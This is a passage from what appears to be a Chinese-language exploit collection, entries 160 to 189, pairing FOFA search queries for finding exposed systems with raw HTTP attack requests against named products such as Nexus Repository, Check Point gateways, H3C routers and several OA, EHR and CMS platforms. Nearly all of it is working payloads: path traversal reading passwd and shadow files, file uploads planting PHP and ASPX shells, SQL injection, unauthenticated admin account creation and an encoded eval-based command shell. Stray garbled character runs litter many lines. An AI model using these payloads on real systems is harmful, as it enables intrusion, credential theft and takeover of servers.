6 Q1 \0 E+ S+ r  w<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
7 Q! o! A. R, W# O9 g! g) k# F0 B</soap:Body>
9 S$ W# D% N: K</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

+ Z4 m( B7 `  {: m' c$ e- Q7 R
; f, K  B6 t/ V7 ^- P6 [" L2 w# `160. Sonatype Nexus Repository 3目录遍历与文件读取
- _# a- I% p  w- j& GCVE-2024-4956
# A/ A& D2 C9 B1 l+ _FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
! L& y6 z5 T0 G4 `7 s9 \+ _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
0 ^, t2 s) L, Z2 I$ G3 k7 YAccept-Language: en
Accept-Encoding: gzip
+ f2 D7 P  W' K9 T9 ^: Q& z' f, }

4 i( E5 D+ n$ W; h( c, u  Y1 U161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

' S- r% }3 M: D0 f) x1 J( w<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
/ R  \$ ~* v3 x9 Lhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* E' n. h, W5 w) A2 e' F<soap:Body>
) K+ I. ~/ V7 R0 S: p<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
: j4 a9 i) K( r( u* W0 b<fileName>../../../../dizxdell.aspx</fileName>
- H7 ]1 g! [  O6 U( J2 I$ c<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
6 K; u1 Y6 t3 c% `: u. W</soap:Body>
8 \  b0 X4 z% t! m. ~  M1 h" Q</soap:Envelope>


9 S7 i5 ?  V& vhttp://x.x.x.x/dizxdell.aspx

% h' X6 o7 M  Q1 ^162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
% P' U2 ^0 b6 N% d8 J  q9 X7 wFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
6 `8 B" ]8 j1 \% g( I- ]7 d% jAccept-Encoding: gzip
. C% E+ C  b4 B
------WebKitFormBoundaryeegvclmyurlotuey
/ ^# t0 F. w7 B0 }3 \# i( sContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
8 u* m9 @) r2 E6 `0 lContent-Type: application/octet-stream

+ B1 Z5 |9 B7 G4 b0 x<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

1 E  _( w5 w% }) Qupload
7 I( {+ c6 q' L------WebKitFormBoundaryeegvclmyurlotuey
# K/ R; |! Z8 a) Q% {Content-Disposition: form-data; name="responderId"
" h( z6 h# [$ g, W+ L2 e" W( s
ResourceNewResponder
0 }& g. C! s( l4 w------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
. p4 _2 k: h" a5 q4 y/ ^& h2 W0 u
# v# h. j- I+ w/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

$ o" Q" [8 w9 H7 t% b
: X# Y$ e# {7 ^, i) F; nhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
8 s# z; r4 J' Z2 D; }8 m
9 F3 T: l& {9 C4 \. f163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
& N0 d  ~8 i9 W- t) Y( SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

( d6 t% @+ l, e3 X6 N$ n9 U------iiqvnofupvhdyrcoqyuujyetjvqgocod
( X) J9 z1 p; I( @  C$ P  x' ~Content-Disposition: form-data; name="name"

1.php
" c0 Z& w- B% H7 d------iiqvnofupvhdyrcoqyuujyetjvqgocod
' i4 [/ q; p( c" S8 ~+ V$ z2 w" TContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
5 E. ^) Z5 f# W) q7 K7 H2 @
: p) g5 l# |  C: O' ~: L; e' ~rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
3 s, O, A: e( G. i5 m$ p$ VFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
% D, ~4 f' X2 F9 c' k3 _Content-Length: 288
0 z" K  }" f# G7 w6 G1 c& ]Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
' s) b5 O! c0 H" ^! h( \5 `8 Q0 KContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
% S2 V0 ?: Q2 \7 xX-Requested-With: XMLHttpRequest
1 L7 Z* q: Y0 R0 EAccept-Encoding: gzip

2 p- N  W  I3 N# @------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
4 h0 {8 @; |9 ^, P' b3 P. y------dqdaieopnozbkapjacdbdthlvtlyl--

; E2 \: g1 m" o) W
9 K+ y, C: [  T: B! lhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
# T9 M: H$ p4 s' y7 g6 c
165. OrangeHRM 3.3.3 SQL 注入
2 g% m' R2 _" K( ?  U; R4 i# V/ H: ACVE-2024-36428
FOFA: app="OrangeHRM-产品"
3 s5 V- E2 p4 I% Y+ U0 Q# D: fURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

" M  S' D' Q% H( s/ V
. p: G, h$ s* o# S  K0 }166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
  [, P  U6 k. hPragma: no-cache
  ?: d! F; u( F" m5 O0 N. E. A! jCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
* R6 I# L  p6 F) J2 ?- FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 K* q/ ]* \% E' j- j* r+ {Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
' X1 R5 ?! m8 v3 [Connection: close
0 {" I1 |" I. n$ k0 PContent-Type: application/x-www-form-urlencoded
Content-Length: 89

) a  J1 l4 T- Z' [9 E! a% [Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
7 J7 l% a) t( b# H6 t8 D
$ V$ s" [% M" E0 ^* f% F, T
% q9 _( A; g. X$ Y/ s/ E167. 精益价值管理系统 DownLoad.aspx任意文件读取
4 D* u; p" |& PFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 H# J2 u2 g% n" ^* XAccept-Encoding: gzip, deflate
Accept: */*
# O% {* {' W) j. V" iConnection: keep-alive

. N7 X, q0 J) q
/ d' {  L! Q* R9 a5 X- c+ M) t168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
$ ]3 ^' Q) ]. H& o: ^GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
% y  T8 p/ G$ M" l. Q- yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
" X. |7 p7 w' Q* l7 m8 _3 X" [Content-Type: application/x-www-form-urlencoded
Connection: close


8 V8 f$ {- L4 i- L6 c9 r; f
169. 宏景EHR downlawbase SQL注入
/ e: m* U% y) d7 F1 [8 S1 W, x% EFOFA：app="HJSOFT-HCM"
& B3 f5 K2 k7 W9 Y7 D  K5 u8 |" MGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
+ J: F1 |& V% H# R6 A: mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; |4 M: f) J  a! C( pAccept: */*
Accept-Encoding: gzip, deflate
' ?4 j* Q% F! X; J5 D6 q# C8 g2 o2 iConnection: close
: }4 b# l: l4 E- V3 T1 i! V* q) J
" j/ _7 \8 |9 \
" c1 h1 F/ M4 h8 T
3 t& [( _9 i/ Q3 X170. 宏景EHR DisplayExcelCustomReport 任意文件读取
# i3 N! X4 n( [/ s) YFOFA：body="/general/sys/hjaxmanage.js"
5 [3 x+ M: B5 g, r, g- h8 dPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
& J  y' P& `7 L  N+ R/ i( K* W9 SHost: balalanengliang
, n% P. a5 v8 Y! K& WUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 Y. U3 ?6 ]/ F% h- zContent-Type: application/x-www-form-urlencoded
( a9 C$ \6 t" |' ?; N
filename=../webapps/ROOT/WEB-INF/web.xml

% t: N# v. ?7 q& Y
# l: |1 \# Y- P, l$ @4 g& O171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
  s5 c" q4 I  G% j+ W( q/ |% oGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
6 j3 _% D$ R: g; NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
% n0 C% _8 [  k2 m1 \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

! L! [3 q) D1 f/ B; N

/ x" D1 l" k3 t172. DT-高清车牌识别摄像机任意文件读取
5 G2 E5 b! `: V* ~. fFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
$ y! }: g3 T# N8 V  g: aConnection: keep-alive
+ r- L2 b/ N! O6 s4 L% ]

3 o. l+ c9 a2 H% V
173. Check Point 安全网关任意文件读取
CVE-2024-24919
3 W/ i5 h) A: j% r0 C, k; uFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
3 c8 ~6 x- ~: U  B2 R- Q" PHost: your-ip
7 S& e: c% z* q- h5 MContent-Type: application/x-www-form-urlencoded
9 N9 Z$ p  Y! g6 y# I# E- r
! f: O5 b* Z7 Q! R* VaCSHELL/../../../../../../../etc/shadow



% z$ v) s1 c. o9 H, o174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 m& R: v' |: UFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
" w# W7 o8 A/ h4 j: V+ d  C5 L7 c) r  SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

& q' b' S( |& O; J0 |

4 p; |  \+ b( I* f7 _6 ~: ?5 {. o$ Y175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
2 f  s$ A5 ~" T5 o  s8 \5 TGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
. z5 G+ \4 f& v$ R* e! s, _User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
1 c1 X# O9 b' X* D+ ^' {Upgrade-Insecure-Requests: 1

& R3 c# b6 y( K! \' K1 e- n. E
( W! i/ C- M. V- L4 q$ P+ x6 C2 s176. 电信网关配置管理系统 rewrite.php 文件上传
! \. h6 [( {6 D0 l; zFOFA：body="img/login_bg3.png" && body="系统登录"
) s' d; `! X: }POST /manager/teletext/material/rewrite.php HTTP/1.1
3 b( _! ?* w0 e1 C6 JHost: your-ip
( E# a. F6 g3 w: p0 l; iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& C* R, U# r/ pContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
, T' `" s2 l: w0 a
------WebKitFormBoundaryOKldnDPT
  _3 Q/ z' D, I2 x, c2 L; W' BContent-Disposition: form-data; name="tmp_name"; filename="test.php"
, P) T. t! }/ j0 O& ?Content-Type: image/png

& ^3 L3 |" j6 o, a<?php system("cat /etc/passwd");unlink(__FILE__);?>
/ j; W2 F; w$ }; l+ \1 i$ z% y------WebKitFormBoundaryOKldnDPT
, K: j3 f) @2 p" AContent-Disposition: form-data; name="uploadtime"

; F* e. h2 C( \+ \
. r3 w( Z. u# D------WebKitFormBoundaryOKldnDPT--

- {1 y  k5 J- u* f

177. H3C路由器敏感信息泄露
3 R7 g: Q. d& n: x1 L6 m7 [; `, o/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
  i, i- e( g3 b- I/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
4 }" s5 S5 ~9 O  N4 V! \  f/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
# k/ c2 M' a9 k: l3 w8 ~/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
8 R. W% k0 R$ c$ z/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
+ a! ^" |* O6 J8 e% X2 c/ Y2 L/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
: p3 D7 B- X1 V3 C! P1 k* ?9 p/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
, @3 Q& r! G3 J. f. Z9 ?

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
& B4 |4 W% s( n7 uFOFA：header="/selfservice"
3 I# |. H% P  e+ z$ M" P  Z5 PPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
+ C* b, E0 M9 l! DHost:
& L8 a6 h6 l& b1 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
/ ^6 _1 e) z; k7 O* eContent-Length: 252
/ g; W1 s1 |% b7 s- {$ @# R% VAccept-Encoding: gzip, deflate
Connection: close
0 Q. z& Y8 A7 u+ D' K. I* f5 @1 A- rContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
; ?% M( m/ g7 DContent-Disposition: form-data; name="12234.txt"; filename="12234"
; }0 S# Y/ n) \* ?Content-Type: application/octet-stream
+ J# l3 p6 ]- b) Y7 o. c* MContent-Length: 255

3 _: B5 }1 O3 t0 w" w12234
-----------------aqutkea7vvanpqy3rh2l--
# q; ~! O7 P& D

GET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
* s- [- q) U3 g- GPOST /Common/DownLoad2.aspx HTTP/1.1
5 a$ f8 o) h8 l1 G* ?8 f: y" x0 nHost: {{Hostname}}
: A! J7 P6 z. S: n5 |  NContent-Type: application/x-www-form-urlencoded
9 ~' h! P. Y6 HUser-Agent: Mozilla/5.0

9 Q0 d* J/ Y( m' u- H( tpath=../log4net.config&Name=


6 F* h( V) j" n2 Q- N7 C180. 帮管客 CRM jiliyu SQL注入
% k4 x8 Z3 x* n5 E' g! h! mFOFA：app="帮管客-CRM"
4 N: O! a5 I5 E9 z# b  q* HGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( |* e$ R6 f. b5 vConnection: close
5 M, G9 ?6 u. N9 x! s

; G, Z/ t1 n. X! Q1 N6 S' i181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
+ C  r2 a$ {5 i+ @Host: your-ip
1 G7 z( {( J& S/ t% m% dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
& N. H8 J) t0 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
! b3 B/ I: w% P4 z$ Z) YAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ \1 i3 s$ P- CContent-Type: application/x-www-form-urlencoded

( [& K9 V# c" r: H' z
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
2 f  n' y4 l6 @
) A6 r$ i2 n7 m% [0 E
3 H0 K9 t% [9 @  w6 [182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
1 c2 Q5 }; L+ v8 JHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* U' A1 A! I% T7 \Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" a* A4 f1 t6 I5 P+ D+ XContent-Type: application/x-www-form-urlencoded

- c. {; C: x2 g8 g3 g# h
$ }" Z5 S# a4 g. p/ [* n: Pusername=test1234&pwd=test1234&savedays=1
9 w$ O  X. g: Q) c* T

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
) e+ {5 U+ Z3 {; ?1 S- DFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
: n7 K' O2 s( @3 r0 X& B8 D! VGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
$ c8 w3 u) i6 @! `, }User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
& O& X: ?' z" f9 oAccept-Encoding: gzip, deflate
Connection: close

) [2 }! {0 p# Q4 m9 ~! E1 z
3 G4 o0 Z1 ~5 b7 f184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
" d5 `) T/ {& [& JFOFA：server="SunFull-Webs"
2 h8 G% t8 L# x% B  `- kPOST /soap/AddUser HTTP/1.1
/ P' X* T; ]) W( j  KHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
5 |7 B& a+ }- I& ^2 ^/ H5 |Content-Type: text/xml; charset=utf-8
8 ~  l$ v3 P0 t6 C* u9 v, RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ t1 k- ~: J0 _. H2 O$ f' qX-Requested-With: XMLHttpRequest


4 G3 f  o( G4 rinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


' x* ]% x/ m1 z( h/ e; j185. 瑞友天翼应用虚拟化系统SQL注入
/ b/ O: Q' j) Yversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
9 J5 h$ l: E7 N1 _' mHost: host
& m! B! {: j, \3 M3 R9 k$ x1 `
0 k# n3 p9 z% p. G
( ?7 L6 a) P2 }; e5 c, p8 ^186. F-logic DataCube3 SQL注入
CVE-2024-31750
0 k/ ?1 J6 v/ C. G& s- CF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
0 I( I' I' z) V  {( ]1 e- U) `" fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  q' i4 {) e" u# V) C" R) LConnection: close
Content-Type: application/x-www-form-urlencoded

# N* O: _; A7 [) Vreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
2 n! u2 f) L9 c( D
  T, Y/ j; |' R7 B
# B2 _7 L" q2 {& M6 @7 X8 R187. Mura CMS processAsyncObject SQL注入
8 d- ~) }7 s  i" ]+ eCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
( T: a  k+ H! s7 u* p, KHost: your-ip
3 C, {- k1 P) N; J/ yContent-Type: application/x-www-form-urlencoded
2 d; `; ]& B1 E2 A9 F
$ R" x1 `* _9 ~* V" o) o7 W
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


4 `, I3 k/ E* X" k  o( b- n188. 叁体-佳会视频会议 attachment 任意文件读取
9 {' D1 E" c5 m; D" C1 lversion <= 3.9.7
# U# H  s9 S8 d3 c& \/ ~( |$ n1 lFOFA：body="/system/get_rtc_user_defined_info?site_id"
6 D/ \) T" h9 }6 k& O* S" PGET /attachment?file=/etc/passwd HTTP/1.1
' u! `3 \( @. @Host: your-ip
9 K3 _0 |. s/ z, t4 W& x6 e  FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ `/ W2 x& [! J6 v9 I; wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 L* S( }7 a0 t( Z. K, D/ Q3 c0 |Accept-Encoding: gzip, deflate
9 E2 M% e2 ~7 d( jAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
, W# O) r0 M4 f* Z7 D- ?
* c$ [9 q) U7 d; R* l- F
% a1 c1 Y5 @8 N189. 蓝网科技临床浏览系统 deleteStudy SQL注入
0 R2 a! w% Z* d/ MFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
4 T, M; p' N# q  }* tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
